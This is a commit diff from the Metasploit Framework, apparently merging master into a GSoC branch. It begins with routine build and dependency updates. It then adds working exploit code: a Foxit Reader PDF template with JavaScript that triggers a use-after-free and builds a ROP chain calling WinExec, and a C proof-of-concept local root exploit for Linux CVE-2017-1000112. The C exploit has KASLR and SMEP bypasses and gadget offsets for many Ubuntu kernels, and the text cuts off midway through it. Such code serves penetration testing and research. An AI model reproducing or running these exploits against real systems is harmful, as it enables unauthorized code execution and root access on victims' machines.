Merge in master

GSoC/Meterpreter_Web_Console
Jacob Robles 2018-10-09 12:56:31 -05:00
commit af594f6744
No known key found for this signature in database
GPG Key ID: 3EC9F18F2B12401C
857 changed files with 94962 additions and 11968 deletions

View File

@ -32,11 +32,14 @@ matrix:
jobs:
# build docker image
include:
- env: CMD="docker-compose build" DOCKER="true"
- env: CMD="/usr/bin/docker-compose build" DOCKER="true"
# we do not need any setup
before_install: skip
install: skip
before_script: skip
before_script:
- curl -L https://github.com/docker/compose/releases/download/1.22.0/docker-compose-`uname -s`-`uname -m` > docker-compose
- chmod +x docker-compose
- sudo mv docker-compose /usr/bin
before_install:
- "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc"
- rake --version
@ -56,7 +59,9 @@ before_script:
script:
- echo "${CMD}"
# we need travis_wait because the Docker build job can take longer than 10 minutes
- if [[ "${DOCKER}" == "true" ]]; then echo "Starting Docker build job"; travis_wait 40 "${CMD}"; else bash -c "${CMD}"; fi
#- if [[ "${DOCKER}" == "true" ]]; then echo "Starting Docker build job"; travis_wait 40 "${CMD}"; else bash -c "${CMD}"; fi
# docker_wait is currently broken on travis-ci, so let's just run CMD directly for now
- bash -c "${CMD}"
notifications:
irc: "irc.freenode.org#msfnotify"

View File

@ -1,9 +1,8 @@
FROM ruby:2.5.1-alpine3.7
FROM ruby:2.5.1-alpine3.7 AS builder
LABEL maintainer="Rapid7"
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
ENV APP_HOME /usr/src/metasploit-framework/
ENV NMAP_PRIVILEGED=""
ENV BUNDLE_IGNORE_MESSAGES="true"
WORKDIR $APP_HOME
@ -12,20 +11,7 @@ COPY lib/metasploit/framework/version.rb $APP_HOME/lib/metasploit/framework/vers
COPY lib/metasploit/framework/rails_version_constraint.rb $APP_HOME/lib/metasploit/framework/rails_version_constraint.rb
COPY lib/msf/util/helper.rb $APP_HOME/lib/msf/util/helper.rb
RUN apk update && \
apk add \
bash \
sqlite-libs \
nmap \
nmap-scripts \
nmap-nselibs \
postgresql-libs \
python \
python3 \
ncurses \
libcap \
su-exec \
&& apk add --virtual .ruby-builddeps \
RUN apk add --no-cache \
autoconf \
bison \
build-base \
@ -44,15 +30,28 @@ RUN apk update && \
&& echo "gem: --no-ri --no-rdoc" > /etc/gemrc \
&& gem update --system \
&& gem install bundler \
&& bundle install --system $BUNDLER_ARGS \
&& apk del .ruby-builddeps \
&& rm -rf /var/cache/apk/*
&& bundle install --clean --no-cache --system $BUNDLER_ARGS \
# temp fix for https://github.com/bundler/bundler/issues/6680
&& rm -rf /usr/local/bundle/cache \
# needed so non root users can read content of the bundle
&& chmod -R a+r /usr/local/bundle
FROM ruby:2.5.1-alpine3.7
LABEL maintainer="Rapid7"
ENV APP_HOME /usr/src/metasploit-framework/
ENV NMAP_PRIVILEGED=""
COPY --from=builder /usr/local/bundle /usr/local/bundle
COPY . $APP_HOME
RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs postgresql-libs python python3 ncurses libcap su-exec
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
ADD ./ $APP_HOME
WORKDIR $APP_HOME
# we need this entrypoint to dynamically create a user
# matching the hosts UID and GID so we can mount something
# from the users home directory. If the IDs don't match

View File

@ -10,6 +10,7 @@ PATH
bcrypt_pbkdf
bit-struct
dnsruby
ed25519
faker
filesize
jsobfu
@ -18,9 +19,9 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 1.3.40)
metasploit-payloads (= 1.3.52)
metasploit_data_models
metasploit_payloads-mettle (= 0.4.1)
metasploit_payloads-mettle (= 0.4.2)
mqtt
msgpack
nessus_rest
@ -65,9 +66,11 @@ PATH
sinatra
sqlite3
sshkey
sysrandom
thin
tzinfo
tzinfo-data
warden
windows_error
xdr
xmlrpc
@ -105,12 +108,12 @@ GEM
public_suffix (>= 2.0.2, < 4.0)
afm (0.2.2)
arel (6.0.4)
arel-helpers (2.7.0)
arel-helpers (2.8.0)
activerecord (>= 3.1.0, < 6)
backports (3.11.3)
backports (3.11.4)
bcrypt (3.1.12)
bcrypt_pbkdf (1.0.0)
bindata (2.4.3)
bindata (2.4.4)
bit-struct (0.16)
builder (3.2.3)
coderay (1.1.2)
@ -118,22 +121,23 @@ GEM
crass (1.0.4)
daemons (1.2.6)
diff-lcs (1.3)
dnsruby (1.61.1)
dnsruby (1.61.2)
addressable (~> 2.5)
docile (1.3.1)
ed25519 (1.2.4)
erubis (2.7.0)
eventmachine (1.2.7)
factory_bot (4.10.0)
factory_bot (4.11.1)
activesupport (>= 3.0.0)
factory_bot_rails (4.10.0)
factory_bot (~> 4.10.0)
factory_bot_rails (4.11.1)
factory_bot (~> 4.11.1)
railties (>= 3.0.0)
faker (1.9.1)
i18n (>= 0.7)
faraday (0.15.2)
faraday (0.15.3)
multipart-post (>= 1.2, < 3)
filesize (0.1.1)
fivemat (1.3.6)
filesize (0.2.0)
fivemat (1.3.7)
hashery (2.1.2)
i18n (0.9.5)
concurrent-ruby (~> 1.0)
@ -162,8 +166,8 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.3.40)
metasploit_data_models (3.0.0)
metasploit-payloads (1.3.52)
metasploit_data_models (3.0.1)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
arel-helpers
@ -173,7 +177,7 @@ GEM
postgres_ext
railties (~> 4.2.6)
recog (~> 2.0)
metasploit_payloads-mettle (0.4.1)
metasploit_payloads-mettle (0.4.2)
method_source (0.9.0)
mini_portile2 (2.3.0)
minitest (5.11.3)
@ -186,14 +190,14 @@ GEM
nexpose (7.2.1)
nokogiri (1.8.4)
mini_portile2 (~> 2.3.0)
octokit (4.9.0)
octokit (4.12.0)
sawyer (~> 0.8.0, >= 0.5.3)
openssl-ccm (1.2.1)
openvas-omp (0.0.4)
packetfu (1.1.13)
pcaprub
patch_finder (1.0.2)
pcaprub (0.12.4)
pcaprub (0.13.0)
pdf-reader (2.1.0)
Ascii85 (~> 1.0.0)
afm (~> 0.2.1)
@ -209,7 +213,7 @@ GEM
pry (0.11.3)
coderay (~> 1.1.0)
method_source (~> 0.9.0)
public_suffix (3.0.2)
public_suffix (3.0.3)
rack (1.6.10)
rack-protection (1.5.5)
rack
@ -230,7 +234,7 @@ GEM
thor (>= 0.18.1, < 2.0)
rake (12.3.1)
rb-readline (0.5.5)
recog (2.1.20)
recog (2.1.24)
nokogiri
redcarpet (3.4.0)
rex-arch (0.1.13)
@ -259,7 +263,7 @@ GEM
rex-arch
rex-ole (0.1.6)
rex-text
rex-powershell (0.1.78)
rex-powershell (0.1.79)
rex-random_identifier
rex-text
rex-random_identifier (0.1.4)
@ -269,7 +273,7 @@ GEM
metasm
rex-core
rex-text
rex-socket (0.1.14)
rex-socket (0.1.15)
rex-core
rex-sslscan (0.1.5)
rex-core
@ -280,37 +284,37 @@ GEM
rex-zip (0.1.3)
rex-text
rkelly-remix (0.0.7)
rspec (3.7.0)
rspec-core (~> 3.7.0)
rspec-expectations (~> 3.7.0)
rspec-mocks (~> 3.7.0)
rspec-core (3.7.1)
rspec-support (~> 3.7.0)
rspec-expectations (3.7.0)
rspec (3.8.0)
rspec-core (~> 3.8.0)
rspec-expectations (~> 3.8.0)
rspec-mocks (~> 3.8.0)
rspec-core (3.8.0)
rspec-support (~> 3.8.0)
rspec-expectations (3.8.1)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.7.0)
rspec-mocks (3.7.0)
rspec-support (~> 3.8.0)
rspec-mocks (3.8.0)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.7.0)
rspec-rails (3.7.2)
rspec-support (~> 3.8.0)
rspec-rails (3.8.0)
actionpack (>= 3.0)
activesupport (>= 3.0)
railties (>= 3.0)
rspec-core (~> 3.7.0)
rspec-expectations (~> 3.7.0)
rspec-mocks (~> 3.7.0)
rspec-support (~> 3.7.0)
rspec-core (~> 3.8.0)
rspec-expectations (~> 3.8.0)
rspec-mocks (~> 3.8.0)
rspec-support (~> 3.8.0)
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.7.1)
ruby-macho (2.0.0)
rspec-support (3.8.0)
ruby-macho (2.1.0)
ruby-rc4 (0.1.5)
ruby_smb (1.0.3)
ruby_smb (1.0.4)
bindata
rubyntlm
windows_error
rubyntlm (0.6.2)
rubyzip (1.2.1)
rubyzip (1.2.2)
sawyer (0.8.1)
addressable (>= 2.3.5, < 2.6)
faraday (~> 0.8, < 1.0)
@ -326,6 +330,7 @@ GEM
sqlite3 (1.3.13)
sshkey (1.9.0)
swagger-blocks (2.0.2)
sysrandom (1.0.5)
thin (1.7.2)
daemons (~> 1.0, >= 1.0.9)
eventmachine (~> 1.0, >= 1.0.4)
@ -339,12 +344,14 @@ GEM
thread_safe (~> 0.1)
tzinfo-data (1.2018.5)
tzinfo (>= 1.0.0)
warden (1.2.7)
rack (>= 1.0)
windows_error (0.1.2)
xdr (2.0.0)
activemodel (>= 4.2.7)
activesupport (>= 4.2.7)
xmlrpc (0.3.0)
yard (0.9.14)
yard (0.9.16)
PLATFORMS
ruby
@ -365,4 +372,4 @@ DEPENDENCIES
yard
BUNDLED WITH
1.16.2
1.16.4

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,125 @@
%PDF
1 0 obj
<</Pages 1 0 R /OpenAction 2 0 R>>
2 0 obj
<</S /JavaScript /JS (
var heap_ptr = 0;
var foxit_base = 0;
var pwn_array = [];
function prepare_heap(size){
var arr = new Array(size);
for(var i = 0; i < size; i++){
arr[i] = this.addAnnot({type: "Text"});;
if (typeof arr[i] == "object"){
arr[i].destroy();
}
}
}
function gc() {
const maxMallocBytes = 128 * 0x100000;
for (var i = 0; i < 3; i++) {
var x = new ArrayBuffer(maxMallocBytes);
}
}
function alloc_at_leak(){
for (var i = 0; i < 0x64; i++){
pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
}
}
function control_memory(){
for (var i = 0; i < 0x64; i++){
for (var j = 0; j < pwn_array[i].length; j++){
pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
}
}
}
function leak_vtable(){
var a = this.addAnnot({type: "Text"});
a.destroy();
gc();
prepare_heap(0x400);
var test = new ArrayBuffer(0x60);
var stolen = new Int32Array(test);
var leaked = stolen[0] & 0xffff0000;
foxit_base = leaked - 0x01f50000;
}
function leak_heap_chunk(){
var a = this.addAnnot({type: "Text"});
a.destroy();
prepare_heap(0x400);
var test = new ArrayBuffer(0x60);
var stolen = new Int32Array(test);
alloc_at_leak();
heap_ptr = stolen[1];
}
function reclaim(){
var arr = new Array(0x10);
for (var i = 0; i < arr.length; i++) {
arr[i] = new ArrayBuffer(0x60);
var rop = new Int32Array(arr[i]);
rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak
rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
rop[0x02] = 0x72727272; // junk
rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret
rop[0x04] = 0xffffffff; // ret of WinExec
rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
rop[0x0a] = foxit_base + 0x0041c6ca; // ret
rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
<%= rop %>
rop[0x17] = 0x00000000; // adios, amigo
}
}
function trigger_uaf(){
var that = this;
var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
var arr = [1];
Object.defineProperties(arr,{
"0":{
get: function () {
that.getAnnot(0, "uaf").destroy();
reclaim();
return 1;
}
}
});
a.point = arr;
}
function main(){
leak_heap_chunk();
leak_vtable();
control_memory();
trigger_uaf();
}
if (app.platform == "WIN"){
if (app.isFoxit == "Foxit Reader"){
if (app.appFoxitVersion == "9.0.1.1049"){
main();
}
}
}
)>> trailer <</Root 1 0 R>>

View File

@ -0,0 +1,884 @@
// A proof-of-concept local root exploit for CVE-2017-1000112.
// Includes KASLR and SMEP bypasses. No SMAP bypass.
// Tested on:
// - Ubuntu trusty 4.4.0 kernels
// - Ubuntu xenial 4.4.0 and 4.8.0 kernels
// - Linux Mint rosa 4.4.0 kernels
// - Linux Mint sarah 4.8.0 kernels
// - Zorin OS 12.1 4.4.0-39 kernel
//
// Usage:
// user@ubuntu:~$ uname -a
// Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
// user@ubuntu:~$ whoami
// user
// user@ubuntu:~$ id
// uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
// user@ubuntu:~$ gcc pwn.c -o pwn
// user@ubuntu:~$ ./pwn
// [.] starting
// [.] checking kernel version
// [.] kernel version '4.8.0-58-generic' detected
// [~] done, version looks good
// [.] checking SMEP and SMAP
// [~] done, looks good
// [.] setting up namespace sandbox
// [~] done, namespace sandbox set up
// [.] KASLR bypass enabled, getting kernel addr
// [~] done, kernel text: ffffffffae400000
// [.] commit_creds: ffffffffae4a5d20
// [.] prepare_kernel_cred: ffffffffae4a6110
// [.] SMEP bypass enabled, mmapping fake stack
// [~] done, fake stack mmapped
// [.] executing payload ffffffffae40008d
// [~] done, should be root now
// [.] checking if we got root
// [+] got r00t ^_^
// root@ubuntu:/home/user# whoami
// root
// root@ubuntu:/home/user# id
// uid=0(root) gid=0(root) groups=0(root)
// root@ubuntu:/home/user# cat /etc/shadow
// root:!:17246:0:99999:7:::
// daemon:*:17212:0:99999:7:::
// bin:*:17212:0:99999:7:::
// sys:*:17212:0:99999:7:::
// ...
//
// Andrey Konovalov <andreyknvl@gmail.com>
// ---
// Updated by <bcoles@gmail.com>
// - support for distros based on Ubuntu kernel
// - additional kernel targets
// - additional KASLR bypasses
// https://github.com/bcoles/kernel-exploits/tree/cve-2017-1000112
#define _GNU_SOURCE
#include <fcntl.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/socket.h>
#include <netinet/ip.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#define DEBUG
#ifdef DEBUG
# define dprintf printf
#else
# define dprintf
#endif
#define ENABLE_KASLR_BYPASS 1
#define ENABLE_SMEP_BYPASS 1
char* SHELL = "/bin/bash";
// Will be overwritten if ENABLE_KASLR_BYPASS is enabled.
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
// Will be overwritten by detect_kernel().
int kernel = -1;
struct kernel_info {
const char* distro;
const char* version;
uint64_t commit_creds;
uint64_t prepare_kernel_cred;
uint64_t xchg_eax_esp_ret;
uint64_t pop_rdi_ret;
uint64_t mov_dword_ptr_rdi_eax_ret;
uint64_t mov_rax_cr4_ret;
uint64_t neg_rax_ret;
uint64_t pop_rcx_ret;
uint64_t or_rax_rcx_ret;
uint64_t xchg_eax_edi_ret;
uint64_t mov_cr4_rdi_ret;
uint64_t jmp_rcx;
};
struct kernel_info kernels[] = {
{ "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d },
{ "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 },
{ "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
{ "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
{ "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
{ "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 },
{ "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 },
{ "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b },
{ "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b },
{ "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
{ "trusty", "4.4.0-87-generic", 0x9ec20, 0x9ef00, 0x8a, 0x253b93, 0x109a17, 0x1a840, 0x3e7cda, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
{ "trusty", "4.4.0-89-generic", 0x9ec30, 0x9ef10, 0x8a, 0x3ec5cF, 0x109a27, 0x1a830, 0x3e7fba, 0x1cc7c, 0x77523, 0x49d1d, 0x62360, 0x1a77b },
{ "xenial", "4.4.0-81-generic", 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 },
{ "xenial", "4.4.0-89-generic", 0xa28a0, 0xa2c90, 0x8a, 0x33e60d, 0x112777, 0x1b9b0, 0x403a1a, 0x1de5c, 0x7a483, 0x1084e5, 0x645b0, 0x3083d },
{ "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
{ "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
{ "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
// { "xenial", "4.8.0-42-generic", 0xa5cf0, 0xa60e0, 0x8d, 0x4149ad, 0x1191f7, 0x1b170, 0x439d7a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0xb2df1b },
// { "xenial", "4.8.0-44-generic", 0xa5cf0, 0xa60e0, 0x8d, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0xb2df17 },
{ "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-51-generic", 0xa5d00, 0xa60f0, 0x8d, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-53-generic", 0xa5d00, 0xa60f0, 0x8d, 0x301f2d, 0x119207, 0x01b170, 0x43a0da, 0x63e843, 0x07bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 },
};
// Used to get root privileges.
#define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds)
#define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred)
// Used when ENABLE_SMEP_BYPASS is used.
// - xchg eax, esp ; ret
// - pop rdi ; ret
// - mov dword ptr [rdi], eax ; ret
// - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret
// - neg rax ; ret
// - pop rcx ; ret
// - or rax, rcx ; ret
// - xchg eax, edi ; ret
// - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret
// - jmp rcx
#define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret)
#define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret)
#define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret)
#define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret)
#define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret)
#define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret)
#define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret)
#define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret)
#define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret)
#define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx)
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
void get_root(void) {
((_commit_creds)(COMMIT_CREDS))(
((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0));
}
// * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * *
uint64_t saved_esp;
// Unfortunately GCC does not support `__atribute__((naked))` on x86, which
// can be used to omit a function's prologue, so I had to use this weird
// wrapper hack as a workaround. Note: Clang does support it, which means it
// has better support of GCC attributes than GCC itself. Funny.
void wrapper() {
asm volatile (" \n\
payload: \n\
movq %%rbp, %%rax \n\
movq $0xffffffff00000000, %%rdx \n\
andq %%rdx, %%rax \n\
movq %0, %%rdx \n\
addq %%rdx, %%rax \n\
movq %%rax, %%rsp \n\
call get_root \n\
ret \n\
" : : "m"(saved_esp) : );
}
void payload();
#define CHAIN_SAVE_ESP \
*stack++ = POP_RDI_RET; \
*stack++ = (uint64_t)&saved_esp; \
*stack++ = MOV_DWORD_PTR_RDI_EAX_RET;
#define SMEP_MASK 0x100000
#define CHAIN_DISABLE_SMEP \
*stack++ = MOV_RAX_CR4_RET; \
*stack++ = NEG_RAX_RET; \
*stack++ = POP_RCX_RET; \
*stack++ = SMEP_MASK; \
*stack++ = OR_RAX_RCX_RET; \
*stack++ = NEG_RAX_RET; \
*stack++ = XCHG_EAX_EDI_RET; \
*stack++ = MOV_CR4_RDI_RET;
#define CHAIN_JMP_PAYLOAD \
*stack++ = POP_RCX_RET; \
*stack++ = (uint64_t)&payload; \
*stack++ = JMP_RCX;
void mmap_stack() {
uint64_t stack_aligned, stack_addr;
int page_size, stack_size, stack_offset;
uint64_t* stack;
page_size = getpagesize();
stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1);
stack_addr = stack_aligned - page_size * 4;
stack_size = page_size * 8;
stack_offset = XCHG_EAX_ESP_RET % page_size;
stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
